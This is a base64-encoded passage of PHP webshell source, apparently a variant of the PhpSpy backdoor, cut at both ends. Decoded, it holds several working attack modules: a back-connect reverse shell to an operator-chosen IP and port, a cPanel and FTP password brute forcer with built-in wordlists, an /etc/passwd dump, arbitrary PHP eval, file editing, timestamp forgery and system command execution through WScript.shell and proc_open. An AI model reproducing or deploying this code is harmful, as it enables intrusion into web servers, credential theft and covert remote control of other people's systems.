VsX2JjLmMnKTsKCQkJQHVubGluaygnL3RtcC9hbmdlbF9iYy5jJyk7CgkJCSRyZXMgPSBleGVjdXRlKCIvdG1wL2FuZ2VsX2JjICR5b3VyaXAgJHlvdXJwb3J0ICYiKTsKCQl9CgkJbSgiTm93IHNjcmlwdCB0cnkgY29ubmVjdCB0byAkeW91cmlwIHBvcnQgJHlvdXJwb3J0IC4uLiIpOwoJfQoKCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidCYWNrIENvbm5lY3QnKSk7CgltYWtlaGlkZSgnYWN0aW9uJywnYmFja2Nvbm5lY3QnKTsKCXAoJzxwPicpOwoJcCgnWW91ciBJUDonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pid5b3VyaXAnLCdzaXplJz0+MjAsJ3ZhbHVlJz0+JHlvdXJpcCkpOwoJcCgnWW91ciBQb3J0OicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3lvdXJwb3J0Jywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiR5b3VycG9ydCkpOwoJcCgnVXNlOicpOwoJbWFrZXNlbGVjdChhcnJheSgnbmFtZSc9Pid1c2UnLCdvcHRpb24nPT4kdXNlZGIsJ3NlbGVjdGVkJz0+JHVzZSkpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3N0YXJ0JywndmFsdWUnPT4nU3RhcnQnLCd0eXBlJz0+J3N1Ym1pdCcsJ2NsYXNzJz0+J2J0JykpOwoJcCgnPC9wPicpOwoJZm9ybWZvb3QoKTsKfS8vZW5kIGJhY2tjb25uZWN0IHdpbmRvdyB2aWEgTkMKCi8vIEJydXRlCmVsc2VpZiAoJGFjdGlvbiA9PSAnYnJ1dGUnKSB7CmZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidCcnV0ZSBGb3JjZXInKSk7CgltYWtlaGlkZSgnYWN0aW9uJywnYnJ1dGUnKTsKCW1ha2VoaWRlKCdkaXInLCRicnV0ZSk7CkBpbmlfc2V0KCdtZW1vcnlfbGltaXQnLCAxMDAwMDAwMDAwMDAwKTsKJGNvbm5lY3RfdGltZW91dD01OwpAc2V0X3RpbWVfbGltaXQoMCk7CiRzdWJtaXQgPSAkX1JFUVVFU1RbJ3N1Ym1pdCddOwokdXNlcnMgPSAkX1JFUVVFU1RbJ3VzZXJzJ107CiRwYXNzID0gJF9SRVFVRVNUWydwYXNzd29yZHMnXTsKJHRhcmdldCA9ICRfUkVRVUVTVFsndGFyZ2V0J107CiRvcHRpb24gPSAkX1JFUVVFU1RbJ29wdGlvbiddOwoKCiRwYXNzbGlzdCA9ICIwMTIzNDU2CjAxMjM0NTY3CjAxMjM0NTY3OAowMTIzNDU2Nzg5CjAxMjM0NTY3ODkwCjEyMzQ1NgoxMjM0NTY3CjEyMzQ1Njc4CjEyMzQ1Njc4OQoxMjM0NTY3ODkwCjExMTExMQowMDAwMDAKMjIyMjIyCjMzMzMzMwo0NDQ0NDQKNTU1NTU1CjY2NjY2Ngo3Nzc3NzcKODg4ODg4Cjk5OTk5OQoxMjMxMjMKNDU2NDU2Cjc4OTc4OQoxMjMzMjEKNDU2NjU0CjY1NDMyMQo3NjU0MzIxCjg3NjU0MzIxCjk4NzY1NDMyMQowOTg3NjU0MzIxCmFkbWluCmFkbWluaXN0cmF0b3IKYWRtaW5jcApjcGFuZWwKYWRtaW54CmFkbWlucwpwYXNzd29yZApwYXNzd29yZHMKcGFzc3cwcmQKcEBzc3cwcmQKcEBzc3dvcmQKa2hvbmdjbwoyNTI1MTMyNQpwYXNzdzByZHMiOwppZigkdGFyZ2V0ID09ICcnKXsKJHRhcmdldCA9ICdsb2NhbGhvc3QnOwp9CnByaW50ICIgPGRpdiBhbGlnbj0nY2VudGVyJz4KPGZvcm0gbWV0aG9kPSdwb3N0JyBzdHlsZT0nYm9yZGVyOiAxcHggc29saWQgIzAwMDAwMCc+PGJyPjxicj4KPFRBQkxFIHN0eWxlPSdCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlJyBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jOTY2MTE3IGNlbGxQYWRkaW5nPTUgd2lkdGg9JzQwJScgYmdDb2xvcj0jMzAzMDMwIGJvcmRlckNvbG9yTGlnaHQ9Izk2NjExNyBib3JkZXI9MT48dHI+PHRkPgo8Yj4gVGFyZ2V0ICA6IDwvZm9udD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ndGFyZ2V0JyBzaXplPScxNicgdmFsdWU9ICR0YXJnZXQgc3R5bGU9J2JvcmRlcjogZm9udC1mYW1pbHk6dGFob21hOyBmb250LXdlaWdodDpib2xkOyc+PC9wPjwvZm9udD48L2I+PC9wPgo8ZGl2IGFsaWduPSdjZW50ZXInPjxicj4KPFRBQkxFIHN0eWxlPSdCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlJyBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jOTY2MTE3IGNlbGxQYWRkaW5nPTUgd2lkdGg9JzUwJScgYmdDb2xvcj0jMzAzMDMwIGJvcmRlckNvbG9yTGlnaHQ9Izk2NjExNyBib3JkZXI9MT4KPHRyPgo8dGQgYWxpZ249J2NlbnRlcic+CjxiPlVzZXJuYW1lPC9iPjwvdGQ+Cjx0ZD4KPHAgYWxpZ249J2NlbnRlcic+CjxiPlBhc3N3b3JkPC9iPjwvdGQ+CjwvdHI+CjwvdGFibGU+CjxwIGFsaWduPSdjZW50ZXInPgo8dGV4dGFyZWEgcm93cz0nMjAnIG5hbWU9J3VzZXJzJyBjb2xzPScyNScgc3R5bGU9J2JvcmRlcjogMnB4IHNvbGlkICMxRDFEMUQ7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7IGNvbG9yOiNDMEMwQzAnPiI7CiRpID0gMDsKd2hpbGUgKCRpIDwgNjAwMDApIHsKCiAgICAkbGluZSA9IHBvc2l4X2dldHB3dWlkKCRpKTsKICAgIGlmICghZW1wdHkoJGxpbmUpKSB7CgogICAgICAgIHdoaWxlIChsaXN0ICgka2V5LCAkdmJhX2V0Y3B3ZCkgPSBlYWNoKCRsaW5lKSl7CiAgICAgICAgICAgIGVjaG8gIiIuJHZiYV9ldGNwd2QuIlxuIjsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQoKICAgIH0KCiAgICRpKys7Cn0KZWNobyAiCjwvdGV4dGFyZWE+Cjx0ZXh0YXJlYSByb3dzPScyMCcgbmFtZT0ncGFzc3dvcmRzJyBjb2xzPScyNScgc3R5bGU9J2JvcmRlcjogMnB4IHNvbGlkICMxRDFEMUQ7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7IGNvbG9yOiNDMEMwQzAnPiRwYXNzbGlzdDwvdGV4dGFyZWE+PGJyPgo8YnI+CjxiPk9wdGlvbnMgOiA8L3NwYW4+PGlucHV0IG5hbWU9J29wdGlvbicgdmFsdWU9J2NwYW5lbCcgc3R5bGU9J2ZvbnQtd2VpZ2h0OiA3MDA7JyBjaGVja2VkIHR5cGU9J3JhZGlvJz4gY1BhbmVsCjxpbnB1dCBuYW1lPSdvcHRpb24nIHZhbHVlPSdmdHAnIHN0eWxlPSdmb250LXdlaWdodDogNzAwOycgdHlwZT0ncmFkaW8nPiBmdHAgPT0+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdBdHRhY2snIG5hbWU9J3N1Ym1pdCcgPjwvcD4KPC90ZD48L3RyPjwvdGFibGU+PC90ZD48L3RyPjwvZm9ybT48cCBhbGlnbj0gJ2xlZnQnPiI7Cj8+Cjw/cGhwCmZ1bmN0aW9uIGZ0cF9jaGVjaygkaG9zdCwkdXNlciwkcGFzcywkdGltZW91dCl7CiRjaCA9IGN1cmxfaW5pdCgpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAiZnRwOi8vJGhvc3QiKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hUVFBBVVRILCBDVVJMQVVUSF9CQVNJQyk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GVFBMSVNUT05MWSwgMSk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSUFdELCAiJHVzZXI6JHBhc3MiKTsKY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHRpbWVvdXQpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRkFJTE9ORVJST1IsIDEpOwokZGF0YSA9IGN1cmxfZXhlYygkY2gpOwppZiAoIGN1cmxfZXJybm8oJGNoKSA9PSAyOCApIHsKCnByaW50ICI8Yj4gRXJyb3IgOiBDb25uZWN0aW9uIHRpbWVkIG91dCAsIG1ha2UgY29uZmlkZW5jZSBhYm91dCB2YWxpZGF0aW9uIG9mIHRhcmdldCAhPC9iPiI7CmV4aXQ7fQoKZWxzZWlmICggY3VybF9lcnJubygkY2gpID09IDAgKXsKCnAoIjxiPlsgYXR0YWNrQHZiYXRlYW0ubmV0IF0jIDwvYj4KPGI+IEF0dGFja2luZyBoYXMgYmVlbiBkb25lISBVc2VybmFtZTogPGZvbnQgY29sb3I9JyNGRjAwMDAnPiAkdXNlciA8L2ZvbnQ+IC8gUGFzc3dvcmQ6PGZvbnQgY29sb3I9JyNGRjAwMDAnPiAkcGFzcyA8L2ZvbnQ+ID0+IDxhIGhyZWY9aHR0cDovLyR1c2VyOiRwYXNzQCRob3N0OjIwODIgdGFyZ2V0PV9ibGFuaz5Mb2dpbjwvYT48L2I+PGJyPiIpOwp9CmN1cmxfY2xvc2UoJGNoKTt9CgpmdW5jdGlvbiBjcGFuZWxfY2hlY2soJGhvc3QsJHVzZXIsJHBhc3MsJHRpbWVvdXQpewokY2ggPSBjdXJsX2luaXQoKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImh0dHA6Ly8kaG9zdDoyMDgyIik7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IVFRQQVVUSCwgQ1VSTEFVVEhfQkFTSUMpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUlBXRCwgIiR1c2VyOiRwYXNzIik7CmN1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsICR0aW1lb3V0KTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZBSUxPTkVSUk9SLCAxKTsKJGRhdGEgPSBjdXJsX2V4ZWMoJGNoKTsKaWYgKCBjdXJsX2Vycm5vKCRjaCkgPT0gMjggKSB7CnByaW50ICI8Yj4gRXJyb3IgOiBDb25uZWN0aW9uIHRpbWVkIG91dCAsIG1ha2UgY29uZmlkZW5jZSBhYm91dCB2YWxpZGF0aW9uIG9mIHRhcmdldCAhPC9iPiI7CmV4aXQ7fQplbHNlaWYgKCBjdXJsX2Vycm5vKCRjaCkgPT0gMCApewoKcCgiPGI+WyBhdHRhY2tAdmJhdGVhbS5uZXQgXSMgPC9iPjxiPkF0dGFja2luZyBoYXMgYmVlbiBkb25lITwvYT4gVXNlcm5hbWU6IDxmb250IGNvbG9yPScjRkYwMDAwJz4gJHVzZXIgPC9mb250PiAvIFBhc3N3b3JkOjxmb250IGNvbG9yPScjRkYwMDAwJz4gJHBhc3MgPC9mb250PjwvYj48YnI+Iik7fWN1cmxfY2xvc2UoJGNoKTt9CgppZihpc3NldCgkc3VibWl0KSAmJiAhZW1wdHkoJHN1Ym1pdCkpewoKJHVzZXJsaXN0ID0gZXhwbG9kZSAoIlxuIiAsICR1c2VycyApOwokcGFzc2xpc3QgPSBleHBsb2RlICgiXG4iICwgJHBhc3MgKTsKcCgnPGI+WyBhdHRhY2tAdmJhdGVhbS5uZXQgXSMgQXR0YWNraW5nIC4uLjwvZm9udD48L2I+PGJyPicpOwpmb3JlYWNoICgkdXNlcmxpc3QgYXMgJHVzZXIpIHsKJF91c2VyID0gdHJpbSgkdXNlcik7CmZvcmVhY2ggKCRwYXNzbGlzdCBhcyAkcGFzc3dvcmQgKSB7CiRfcGFzcyA9IHRyaW0oJHBhc3N3b3JkKTsKaWYoJG9wdGlvbiA9PSAiZnRwIil7CmZ0cF9jaGVjaygkdGFyZ2V0LCRfdXNlciwkX3Bhc3MsJGNvbm5lY3RfdGltZW91dCk7Cn0KaWYgKCRvcHRpb24gPT0gImNwYW5lbCIpCnsKY3BhbmVsX2NoZWNrKCR0YXJnZXQsJF91c2VyLCRfcGFzcywkY29ubmVjdF90aW1lb3V0KTsKfQp9Cn0KfQoKCWZvcm1mb290KCk7Cn0KCgoKCgoKZWxzZWlmICgkYWN0aW9uID09ICdldGNwd2QnKSB7CmZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidHZXQgL2V0Yy9wYXNzd2QnKSk7CgltYWtlaGlkZSgnYWN0aW9uJywnZXRjcHdkJyk7CgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7CiRpID0gMDsKIGVjaG8gIjxwPjxicj48dGV4dGFyZWEgY2xhc3M9XCJhcmVhXCIgaWQ9XCJwaHBjb2RleHh4XCIgbmFtZT1cInBocGNvZGV4eHhcIiBjb2xzPVwiMTAwXCIgcm93cz1cIjI1XCI+IjsKd2hpbGUgKCRpIDwgNjAwMDApIHsKCiAgICAkbGluZSA9IHBvc2l4X2dldHB3dWlkKCRpKTsKICAgIGlmICghZW1wdHkoJGxpbmUpKSB7CgogICAgICAgIHdoaWxlIChsaXN0ICgka2V5LCAkdmJhX2V0Y3B3ZCkgPSBlYWNoKCRsaW5lKSl7CiAgICAgICAgICAgIGVjaG8gIiIuJHZiYV9ldGNwd2QuIlxuIjsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQoKICAgIH0KCiAgICRpKys7Cn0KICBlY2hvICI8L3RleHRhcmVhPjwvcD4iOwoJZm9ybWZvb3QoKTsKfQoKZWxzZWlmICgkYWN0aW9uID09ICdldmFsJykgewoJJHBocGNvZGUgPSB0cmltKCRwaHBjb2RlKTsKCWlmKCRwaHBjb2RlKXsKCQlpZiAoIXByZWdfbWF0Y2goJyM8XD8jc2knLCAkcGhwY29kZSkpIHsKCQkJJHBocGNvZGUgPSAiPD9waHBcblxueyRwaHBjb2RlfVxuXG4/PiI7CgkJfQoJCWV2YWwoIj8iLiI+JHBocGNvZGU8PyIpOwoJfQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0V2YWwgUEhQIENvZGUnKSk7CgltYWtlaGlkZSgnYWN0aW9uJywnZXZhbCcpOwoJbWFrZXRleHQoYXJyYXkoJ3RpdGxlJz0+J1BIUCBDb2RlJywnbmFtZSc9PidwaHBjb2RlJywgJ3ZhbHVlJz0+JHBocGNvZGUpKTsKCXAoJzxwPjxhIGhyZWY9Imh0dHA6Ly93d3cuNG5nZWwubmV0L3BocHNweS9wbHVnaW4vIiB0YXJnZXQ9Il9ibGFuayI+R2V0IHBsdWdpbnM8L2E+PC9wPicpOwoJZm9ybWZvb3RlcigpOwp9Ly9lbmQgZXZhbAoKZWxzZWlmICgkYWN0aW9uID09ICdlZGl0ZmlsZScpIHsKCWlmKGZpbGVfZXhpc3RzKCRvcGZpbGUpKSB7CgkJJGZwPUBmb3Blbigkb3BmaWxlLCdyJyk7CgkJJGNvbnRlbnRzPUBmcmVhZCgkZnAsIGZpbGVzaXplKCRvcGZpbGUpKTsKCQlAZmNsb3NlKCRmcCk7CgkJJGNvbnRlbnRzPWh0bWxzcGVjaWFsY2hhcnMoJGNvbnRlbnRzKTsKCX0KCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidDcmVhdGUgLyBFZGl0IEZpbGUnKSk7CgltYWtlaGlkZSgnYWN0aW9uJywnZmlsZScpOwoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOwoJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidDdXJyZW50IEZpbGUgKGltcG9ydCBuZXcgZmlsZSBuYW1lIGFuZCBuZXcgZmlsZSknLCduYW1lJz0+J2VkaXRmaWxlbmFtZScsJ3ZhbHVlJz0+JG9wZmlsZSwnbmV3bGluZSc9PjEpKTsKCW1ha2V0ZXh0KGFycmF5KCd0aXRsZSc9PidGaWxlIENvbnRlbnQnLCduYW1lJz0+J2ZpbGVjb250ZW50JywndmFsdWUnPT4kY29udGVudHMpKTsKCWZvcm1mb290ZXIoKTsKfS8vZW5kIGVkaXRmaWxlCgplbHNlaWYgKCRhY3Rpb24gPT0gJ25ld3RpbWUnKSB7Cgkkb3BmaWxlbXRpbWUgPSBAZmlsZW10aW1lKCRvcGZpbGUpOwoJLy8kdGltZSA9IHN0cnRvdGltZSgiJHllYXItJG1vbnRoLSRkYXkgJGhvdXI6JG1pbnV0ZTokc2Vjb25kIik7CgkkY2FjaGVtb250aCA9IGFycmF5KCdKYW51YXJ5Jz0+MSwnRmVicnVhcnknPT4yLCdNYXJjaCc9PjMsJ0FwcmlsJz0+NCwnTWF5Jz0+NSwnSnVuZSc9PjYsJ0p1bHknPT43LCdBdWd1c3QnPT44LCdTZXB0ZW1iZXInPT45LCdPY3RvYmVyJz0+MTAsJ05vdmVtYmVyJz0+MTEsJ0RlY2VtYmVyJz0+MTIpOwoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0Nsb25lIGZpbGUgd2FzIGxhc3QgbW9kaWZpZWQgdGltZScpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdmaWxlJyk7CgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7CgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J0FsdGVyIGZpbGUnLCduYW1lJz0+J2N1cmZpbGUnLCd2YWx1ZSc9PiRvcGZpbGUsJ3NpemUnPT4xMjAsJ25ld2xpbmUnPT4xKSk7CgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J1JlZmVyZW5jZSBmaWxlIChmdWxscGF0aCknLCduYW1lJz0+J3RhcmZpbGUnLCdzaXplJz0+MTIwLCduZXdsaW5lJz0+MSkpOwoJZm9ybWZvb3RlcigpOwoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J1NldCBsYXN0IG1vZGlmaWVkJykpOwoJbWFrZWhpZGUoJ2FjdGlvbicsJ2ZpbGUnKTsKCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsKCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nQ3VycmVudCBmaWxlIChmdWxscGF0aCknLCduYW1lJz0+J2N1cmZpbGUnLCd2YWx1ZSc9PiRvcGZpbGUsJ3NpemUnPT4xMjAsJ25ld2xpbmUnPT4xKSk7CglwKCc8cD5JbnN0ZWFkICZyYXF1bzsnKTsKCXAoJ3llYXI6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4neWVhcicsJ3ZhbHVlJz0+ZGF0ZSgnWScsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjQpKTsKCXAoJ21vbnRoOicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J21vbnRoJywndmFsdWUnPT5kYXRlKCdtJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOwoJcCgnZGF5OicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RheScsJ3ZhbHVlJz0+ZGF0ZSgnZCcsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsKCXAoJ2hvdXI6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4naG91cicsJ3ZhbHVlJz0+ZGF0ZSgnSCcsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsKCXAoJ21pbnV0ZTonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidtaW51dGUnLCd2YWx1ZSc9PmRhdGUoJ2knLCRvcGZpbGVtdGltZSksJ3NpemUnPT4yKSk7CglwKCdzZWNvbmQ6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc2Vjb25kJywndmFsdWUnPT5kYXRlKCdzJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOwoJcCgnPC9wPicpOwoJZm9ybWZvb3RlcigpOwp9Ly9lbmQgbmV3dGltZQoKZWxzZWlmICgkYWN0aW9uID09ICdzaGVsbCcpIHsKCWlmIChJU19XSU4gJiYgSVNfQ09NKSB7CgkJaWYoJHByb2dyYW0gJiYgJHBhcmFtZXRlcikgewoJCQkkc2hlbGw9IG5ldyBDT00oJ1NoZWxsLkFwcGxpY2F0aW9uJyk7CgkJCSRhID0gJHNoZWxsLT5TaGVsbEV4ZWN1dGUoJHByb2dyYW0sJHBhcmFtZXRlcik7CgkJCW0oJ1Byb2dyYW0gcnVuIGhhcyAnLighJGEgPyAnc3VjY2VzcycgOiAnZmFpbCcpKTsKCQl9CgkJISRwcm9ncmFtICYmICRwcm9ncmFtID0gJ2M6XHdpbmRvd3Ncc3lzdGVtMzJcY21kLmV4ZSc7CgkJISRwYXJhbWV0ZXIgJiYgJHBhcmFtZXRlciA9ICcvYyBuZXQgc3RhcnQgPiAnLlNBX1JPT1QuJ2xvZy50eHQnOwoJCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidFeGVjdXRlIFByb2dyYW0nKSk7CgkJbWFrZWhpZGUoJ2FjdGlvbicsJ3NoZWxsJyk7CgkJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidQcm9ncmFtJywnbmFtZSc9Pidwcm9ncmFtJywndmFsdWUnPT4kcHJvZ3JhbSwnbmV3bGluZSc9PjEpKTsKCQlwKCc8cD4nKTsKCQltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J1BhcmFtZXRlcicsJ25hbWUnPT4ncGFyYW1ldGVyJywndmFsdWUnPT4kcGFyYW1ldGVyKSk7CgkJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3N1Ym1pdCcsJ2NsYXNzJz0+J2J0JywndHlwZSc9PidzdWJtaXQnLCd2YWx1ZSc9PidFeGVjdXRlJykpOwoJCXAoJzwvcD4nKTsKCQlmb3JtZm9vdCgpOwoJfQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0V4ZWN1dGUgQ29tbWFuZCcpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdzaGVsbCcpOwoJaWYgKElTX1dJTiAmJiBJU19DT00pIHsKCQkkZXhlY2Z1bmNkYiA9IGFycmF5KCdwaHBmdW5jJz0+J3BocGZ1bmMnLCd3c2NyaXB0Jz0+J3dzY3JpcHQnLCdwcm9jX29wZW4nPT4ncHJvY19vcGVuJyk7CgkJbWFrZXNlbGVjdChhcnJheSgndGl0bGUnPT4nVXNlOicsJ25hbWUnPT4nZXhlY2Z1bmMnLCdvcHRpb24nPT4kZXhlY2Z1bmNkYiwnc2VsZWN0ZWQnPT4kZXhlY2Z1bmMsJ25ld2xpbmUnPT4xKSk7Cgl9CglwKCc8cD4nKTsKCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nQ29tbWFuZCcsJ25hbWUnPT4nY29tbWFuZCcsJ3ZhbHVlJz0+JGNvbW1hbmQpKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidzdWJtaXQnLCdjbGFzcyc9PididCcsJ3R5cGUnPT4nc3VibWl0JywndmFsdWUnPT4nRXhlY3V0ZScpKTsKCXAoJzwvcD4nKTsKCWZvcm1mb290KCk7CgoJaWYgKCRjb21tYW5kKSB7CgkJcCgnPGhyIHdpZHRoPSIxMDAlIiBub3NoYWRlIC8+PHByZT4nKTsKCQlpZiAoJGV4ZWNmdW5jPT0nd3NjcmlwdCcgJiYgSVNfV0lOICYmIElTX0NPTSkgewoJCQkkd3NoID0gbmV3IENPTSgnV1NjcmlwdC5zaGVsbCcpOwoJCQkkZXhlYyA9ICR3c2gtPmV4ZWMoJ2NtZC5leGUgL2MgJy4kY29tbWFuZCk7CgkJCSRzdGRvdXQgPSAkZXhlYy0+U3RkT3V0KCk7CgkJCSRzdHJvdXRwdXQgPSAkc3Rkb3V0LT5SZWFkQWxsKCk7CgkJCWVjaG8gJHN0cm91dHB1dDsKCQl9IGVsc2VpZiAoJGV4ZWNmdW5jPT0ncHJvY19vcGVuJyAmJiBJU19XSU4gJiYgSVNfQ09NKSB7CgkJCSRkZXNjcmlwdG9yc3BlYyA9IGFycmF5KAoJCQkgICAwID0+IGFycmF5KCdwaXBlJywgJ3InKSwKCQkJICAgMSA9PiBhcnJheSgncGlwZScsICd3JyksCgkJCSAgIDIgPT4gYXJyYXkoJ3BpcGUnLCAndycpCgkJCSk7CgkJCSRwcm9jZXNzID0gcHJvY19vcGVuKCRfU0VSVkVSWydDT01TUEVDJ10sICRkZXNjcmlwdG9yc3BlYywgJHBpcGVzKTsKCQkJaWYgKGlzX3Jlc291cmNlKCRwcm9jZXNzKSkgewoJCQkJZndyaXRlKCRwaXBlc1swXSwgJGNvbW1hbmQuIlxyXG4iKTsKCQkJCWZ3cml0ZSgkcGlwZXNbMF0sICJleGl0XHJcbiIpOwoJCQkJZmNsb3NlKCRwaXBlc1swXSk7CgkJCQl3aGlsZSAoIWZlb2YoJHBpcGVzWzFdKSkgewoJCQkJCWVjaG8gZmdldHMoJHBpcGVzWzFdLCAxMDI0KTsKCQkJCX0KCQkJCWZjbG9zZSgkcGlwZXNbMV0pOwoJCQkJd2hpbGUgKCFmZW9mKCRwaXBlc1syXSkpIHsKCQkJCQllY2hvIGZnZXRzKCRwaXBlc1syXSwgMTAyNCk7CgkJCQl9CgkJCQlmY2xvc2UoJHBpcGVzWzJdKTsKCQkJCXByb2NfY2xvc2UoJHByb2Nlc3MpOwoJCQl9CgkJfSBlbHNlIHsKCQkJZWNobyhleGVjdXRlKCRjb21tYW5kKSk7CgkJfQoJCXAoJzwvcHJlPicpOwoJfQp9Ly9lbmQgc2hlbGwKCmVsc2VpZiAoJGFjdGlvbiA9PSAncGhwZW52JykgewoJJHVwc2l6ZT1nZXRjZmcoJ2ZpbGVfdXBsb2FkcycpID8gZ2V0Y2ZnKCd1cGxvYWRfbWF4X2ZpbGVzaXplJykgOiAnTm90IGFsbG93ZWQnOwoJJGFkbWlubWFpbD1pc3NldCgkX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10pID8gJF9TRVJWRVJbJ1NFUlZFUl9BRE1JTiddIDogZ2V0Y2ZnKCdzZW5kbWFpbF9mcm9tJyk7CgkhJGRpc19mdW5jICYmICRkaXNfZnVuYyA9ICdObyc7CgkkaW5mbyA9IGFycmF5KAoJCTEgPT4gYXJyYXkoJ1NlcnZlciBUaW1lJyxkYXRlKCdZL20vZCBoOmk6cycsJHRpbWVzdGFtcCkpLAoJCTIgPT4gYXJyYXkoJ1NlcnZlciBEb21haW4nLCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKSwKCQkzID0+IGFycmF5KCdTZXJ2ZXIgSVAnLGdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pKSwKCQk0ID0+IGFycmF5KCdTZXJ2ZXIgT1MnLFBIUF9PUyksCgkJNSA9PiBhcnJheSgnU2VydmVyIE9TIENoYXJzZXQnLCRfU0VSVkVSWydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddKSwKCQk2ID0+IGFycmF5KCdTZXJ2ZXIgU29mdHdhcmUnLCRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSksCgkJNyA9PiBhcnJheSgnU2VydmVyIFdlYiBQb3J0JywkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSksCgkJOCA9PiBhcnJheSgnUEhQIHJ1biBtb2RlJyxzdHJ0b3VwcGVyKHBocF9zYXBpX25hbWUoKSkpLAoJCTkgPT4gYXJyYXkoJ1RoZSBmaWxlIHBhdGgnLF9fRklMRV9fKSwKCgkJMTAgPT4gYXJyYXkoJ1BIUCBWZXJzaW9uJyxQSFBfVkVSU0lPTiksCgkJMTEgPT4gYXJyYXkoJ1BIUElORk8nLChJU19QSFBJTkZPID8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oXCdwaHBpbmZvXCcpOyI+WWVzPC9hPicgOiAnTm8nKSksCgkJMTIgPT4gYXJyYXkoJ1NhZmUgTW9kZScsZ2V0Y2ZnKCdzYWZlX21vZGUnKSksCgkJMTMgPT4gYXJyYXkoJ0FkbWluaXN0cmF0b3InLCRhZG1pbm1haWwpLAoJCTE0ID0+IGFycmF5KCdhbGxvd191cmxfZm9wZW4nLGdldGNmZygnYWxsb3dfdXJsX2ZvcGVuJykpLAoJCTE1ID0+IGFycmF5KCdlbmFibGVfZGwnLGdldGNmZygnZW5hYmxlX2RsJykpLAoJCTE2ID0+IGFycmF5KCdkaXNwbGF5X2Vycm9ycycsZ2V0Y2ZnKCdkaXNwbGF5X2Vycm9ycycpKSwKCQkxNyA9PiBhcnJheSgncmVnaXN0ZXJfZ2xvYmFscycsZ2V0Y2ZnKCdyZWdpc3Rlcl9nbG9iYWxzJykpLAoJCTE4ID0+IGFycmF5KCdtYWdpY19xdW90ZXNfZ3BjJyxnZXRjZmcoJ21hZ2ljX3F1b3Rlc19ncGMnKSksCgkJMTkgPT4gYXJyYXkoJ21lbW9yeV9saW1pdCcsZ2V0Y2ZnKCdtZW1vcnlfbGltaXQnKSksCgkJMjAgPT4gYXJyYXkoJ3Bvc3RfbWF4X3NpemUnLGdldGNmZygnc